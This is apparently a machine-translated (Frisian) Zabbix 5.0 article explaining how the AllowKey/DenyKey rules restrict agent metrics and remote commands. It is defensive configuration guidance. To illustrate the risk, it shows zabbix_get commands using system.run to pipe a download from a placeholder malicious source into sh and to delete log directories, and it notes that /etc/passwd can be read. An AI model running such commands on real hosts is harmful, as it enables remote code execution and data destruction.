Blacklist en whitelist-stipe foar agint-side-metriken yn Zabbix 5.0

Blacklist en whitelist-stipe foar agint-side-metriken yn Zabbix 5.0

Blacklist en whitelist-stipe foar metriken oan 'e kant fan agent

Tikhon Uskov, Yntegraasjeingenieur, Zabbix

Gegevensfeiligensproblemen

Zabbix 5.0 hat in nije funksje wêrmei jo feiligens kinne ferbetterje yn systemen dy't Zabbix Agent brûke en de âlde parameter ferfangt RemoteCommands ynskeakelje.

Ferbetteringen yn 'e feiligens fan agent-basearre systemen komme út it feit dat in agint in grut oantal mooglik gefaarlike aksjes kin útfiere.

  • De agint kin hast alle ynformaasje sammelje, ynklusyf fertroulike of potinsjeel gefaarlike ynformaasje, fan konfiguraasjetriemmen, logtriemmen, wachtwurdbestannen of oare bestannen.

Bygelyks, mei it zabbix_get-hulpprogramma kinne jo tagong krije ta in list mei brûkers, har thúsmappen, wachtwurdbestannen, ensfh.

Blacklist en whitelist-stipe foar agint-side-metriken yn Zabbix 5.0

Tagong ta gegevens mei it hulpprogramma zabbix_get

NOTE. Gegevens kinne allinnich ophelle wurde as de agint hat lêzen tagongsrjochten op de oerienkommende triem. Mar bygelyks de triem /etc/passwd/ lêsber foar alle brûkers.

  • De agint kin ek potinsjeel gefaarlike kommando's útfiere. Bygelyks, kaai *system.run[]** lit jo alle kommando's op ôfstân útfiere op netwurkknooppunten, ynklusyf it útfieren fan skripts fan 'e Zabbix-webynterface dy't ek kommando's útfiere oan' e agintkant.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • Op Linux rint de agint standert sûnder root-privileezjes, wylst it op Windows rint as in tsjinst as Systeem en hat ûnbeheinde tagong ta it bestânsysteem. As der nei ynstallaasje gjin wizigingen wurde makke oan 'e Zabbix Agent-parameters, hat de agint tagong ta it register, bestânsysteem en kin WMI-fragen útfiere.

Yn eardere ferzjes de parameter EnableRemoteCommands=0 tastien allinich metriken út te skeakeljen mei de kaai *system.run[]** en rinnende skripts fan 'e webynterface, mar d'r wie gjin manier om tagong ta yndividuele bestannen te beheinen, yndividuele kaaien te tastean of út te skeakeljen dy't waarden ynstalleare mei de agint, of it gebrûk fan yndividuele parameters te beheinen.

Blacklist en whitelist-stipe foar agint-side-metriken yn Zabbix 5.0

It brûken fan de EnableRemoteCommand-parameter yn eardere ferzjes fan Zabbix

AllowKey/DenyKey

Zabbix 5.0 helpt te beskermjen tsjin sokke net autorisearre tagong troch whitelists en blacklists te leverjen foar it tastean en wegerjen fan metriken oan 'e agintkant.

Yn Zabbix 5.0 alle kaaien, ynklusyf *system.run[]** binne ynskeakele, en twa nije agentkonfiguraasjeopsjes binne tafoege:

AllowKey= - tastiene kontrôles;

DenyKey= - ferbeane kontrôles;

wêr is in kaainammepatroan mei parameters dy't metatekens (*) brûkt.

De toetsen AllowKey en DenyKey kinne jo yndividuele metriken tastean of wegerje basearre op in spesifyk patroan. Oars as oare konfiguraasjeparameters is it oantal AllowKey/DenyKey-parameters net beheind. Hjirmei kinne jo dúdlik definiearje wat krekt de agint kin dwaan yn it systeem troch it meitsjen fan in beam fan kontrôles - útfierbere kaaien, wêryn de folchoarder wêryn't se skreaun binne in heul wichtige rol spilet.

Sequence fan regels

De regels wurde kontrolearre yn 'e folchoarder wêryn't se ynfierd binne yn it konfiguraasjetriem. De kaai wurdt kontrolearre neffens de regels foar de earste wedstriid, en sa gau as de kaai fan de gegevens elemint oerienkomt mei it patroan, it is tastien of wegere. Hjirnei stopt regelkontrôle en wurde de oerbleaune kaaien negearre.

Dêrom, as in elemint oerienkomt mei sawol in tastean as in wegerje regel, it resultaat sil ôfhingje fan hokker regel is earst yn de konfiguraasje triem.

Blacklist en whitelist-stipe foar agint-side-metriken yn Zabbix 5.0

2 ferskillende regels mei itselde patroan en in kaai vfs.file.size[/tmp/file]

De folchoarder fan it brûken fan de AllowKey/DenyKey-kaaien:

  1. krekte regels,
  2. algemiene regels,
  3. ferbean regel.

As jo ​​​​bygelyks tagong hawwe ta bestannen yn in bepaalde map, moatte jo earst tagong ta har tastean, en dan al it oare wegerje dat net binnen de fêststelde tagongsrjochten falt. As de wegeringsregel earst brûkt wurdt, wurdt tagong ta de map wegere.

Blacklist en whitelist-stipe foar agint-side-metriken yn Zabbix 5.0

Korrekte folchoarder

As jo ​​moatte tastean 2 nutsbedriuwen te rinnen fia *system.run[]**, en de ûntkennende regel sil earst wurde oantsjutte, de nutsfoarsjenningen wurde net lansearre, om't it earste patroan altyd oerienkomt mei elke kaai, en folgjende regels wurde negearre.

Blacklist en whitelist-stipe foar agint-side-metriken yn Zabbix 5.0

Ferkearde folchoarder

Patroanen

Basisregels

Pattern is in útdrukking mei jokertekens. It metateken (*) komt oerien mei elk oantal karakters op in spesifike posysje. Metatekens kinne brûkt wurde sawol yn 'e kaainamme as yn parameters. Jo kinne bygelyks de earste parameter strikt definiearje mei tekst, en spesifisearje de folgjende as jokerteken.

Parameters moatte wurde omsletten yn fjouwerkante heakjes [].

  • system.run[* - ferkeard
  • vfs.file*.txt] - ferkeard
  • vfs.file.*[*] - rjochts

Foarbylden fan it brûken fan jokerteken.

  1. Yn de kaai namme en yn de parameter. Yn dit gefal komt de kaai net oerien mei in ferlykbere kaai dy't gjin parameter befettet, om't wy yn it patroan oanjûn hawwe dat wy in bepaalde ein fan 'e kaainamme en in bepaalde set parameters wolle ûntfange.
  2. As it patroan gjin fjouwerkante heakjes brûkt, lit it patroan alle kaaien dy't gjin parameters befetsje en wegeret alle kaaien dy't de oantsjutte parameter befetsje.
  3. As de kaai folslein skreaun is en de parameters binne oantsjutte as jokerteken, sil it oerienkomme mei elke ferlykbere kaai mei alle parameters en sil net oerienkomme mei de kaai sûnder fjouwerkante heakjes, d.w.s. it sil tastien of wegere wurde.

Blacklist en whitelist-stipe foar agint-side-metriken yn Zabbix 5.0

Regels foar it ynfoljen fan parameters.

  • As in kaai mei parameters bedoeld is om te brûken, moatte de parameters oanjûn wurde yn it konfiguraasjetriem. Parameters moatte wurde opjûn as in metateken. It is needsaaklik om soarchfâldich wegerje tagong ta eltse triem en rekken hâlden mei hokker ynformaasje de metrysk kin leverje ûnder ferskillende staveringen - mei en sûnder parameters.

Blacklist en whitelist-stipe foar agint-side-metriken yn Zabbix 5.0

Funksjes fan it skriuwen fan toetsen mei parameters

  • As in kaai wurdt oantsjutte mei parameters, mar de parameters binne opsjoneel en oantsjutte as in metateken, in kaai sûnder parameters wurdt oplost. As jo ​​bygelyks it ûntfangen fan ynformaasje oer de lading op 'e CPU útskeakelje wolle en oantsjutte dat de system.cpu.load[*] kaai moat wurde útskeakele, ferjit net dat de kaai sûnder parameters de gemiddelde loadwearde werombringt.

Blacklist en whitelist-stipe foar agint-side-metriken yn Zabbix 5.0

Regels foar it ynfoljen fan parameters

Notysjes

oanpassing

  • Guon regels kinne net feroare wurde troch de brûker, Bygelyks, ûntdekking regels of agent auto-registraasje regels. AllowKey/DenyKey-regels hawwe gjin ynfloed op de folgjende parameters:
    - HostnammeItem
    - HostMetadataItem
    - HostInterfaceItem

NOTE. As in behearder in kaai útskeakelet, jout Zabbix, as frege, gjin ynformaasje oer wêrom't de metryske of kaai yn 'e kategory faltNET ÛNDERSTEUND'. Ynformaasje oer ferbod op it útfieren fan kommando's op ôfstân wurdt ek net werjûn yn 'e agent-logbestannen. Dit is om feiligensredenen, mar kin debuggen komplisearje as metriken om ien of oare reden yn in net-stipe kategory falle.

  • Jo moatte net fertrouwe op in spesifike folchoarder foar it ferbinen fan eksterne konfiguraasje triemmen (bygelyks, yn alfabetyske folchoarder).

Command Line Utilities

Nei it ynstellen fan de regels moatte jo der wis fan wêze dat alles goed is ynsteld.

Jo kinne ien fan trije opsjes brûke:

  • Foegje in metrike ta oan Zabbix.
  • Test mei zabbix_agentd. Zabbix-agint mei opsje -print (-p) toant alle kaaien (dy't standert tastien binne) útsein dyjingen dy't net tastien binne troch de konfiguraasje. En mei de opsje -test (-t) want in ferbeane kaai sil weromkomme 'Net-stipe itemkaai'.
  • Test mei zabbix_get. Utility zabbix_get mei opsje -k sil weromkomme 'ZBX_NOTSUPPORTED: Unbekende metrysk'.

Tastean of wegerje

Jo kinne wegerje tagong ta in bestân en ferifiearje, bygelyks, mei help fan it hulpprogramma zabbix_getdat tagong ta de triem wurdt wegere.

Blacklist en whitelist-stipe foar agint-side-metriken yn Zabbix 5.0

**

NOTE. Sitaten yn 'e parameter wurde negearre.

Yn dit gefal kin tagong ta sa'n bestân fia in oar paad tastien wurde. Bygelyks, as in symlink dêrta liedt.

Blacklist en whitelist-stipe foar agint-side-metriken yn Zabbix 5.0

It is oan te rieden om ferskate opsjes te kontrolearjen foar it tapassen fan de spesifisearre regels, en ek rekken hâlde mei de mooglikheden om de ferboden te omzeilen.

Fragen en antwurden

de fraach. Wêrom is sa'n kompleks patroan mei in eigen taal keazen om regels, tastimmingen en ferbods te beskriuwen? Wêrom wie it net mooglik om bygelyks de reguliere útdrukkingen te brûken dy't Zabbix brûkt?

Reply. Dit is in probleem mei regex-prestaasjes, om't d'r normaal mar ien agent is en it in enoarm oantal metriken kontrolearret. Regex is nochal in swiere operaasje en wy kinne op dizze manier gjin tûzenen metriken kontrolearje. Wildcards - in universele, in soad brûkte en ienfâldige oplossing.

de fraach. Binne de bestannen net opnommen yn alfabetyske folchoarder?

Reply. Foar safier't ik wit, is it frijwol ûnmooglik om de folchoarder te foarsizzen wêryn regels tapast wurde as jo de regels fersprieden oer ferskate bestannen. Ik advisearje alle AllowKey/DenyKey-regels te sammeljen yn ien Include-bestân, om't se mei-inoar ynteraksje, en dit bestân ynklusyf.

de fraach. Yn Zabbix 5.0 de opsje 'EnableRemoteCommands=' ûntbrekt yn it konfiguraasjetriem, en allinich AllowKey/DenyKey binne beskikber?

Antwurd. ja dat kloppet.

Спасибо за внимание!

Boarne: www.habr.com

Add a comment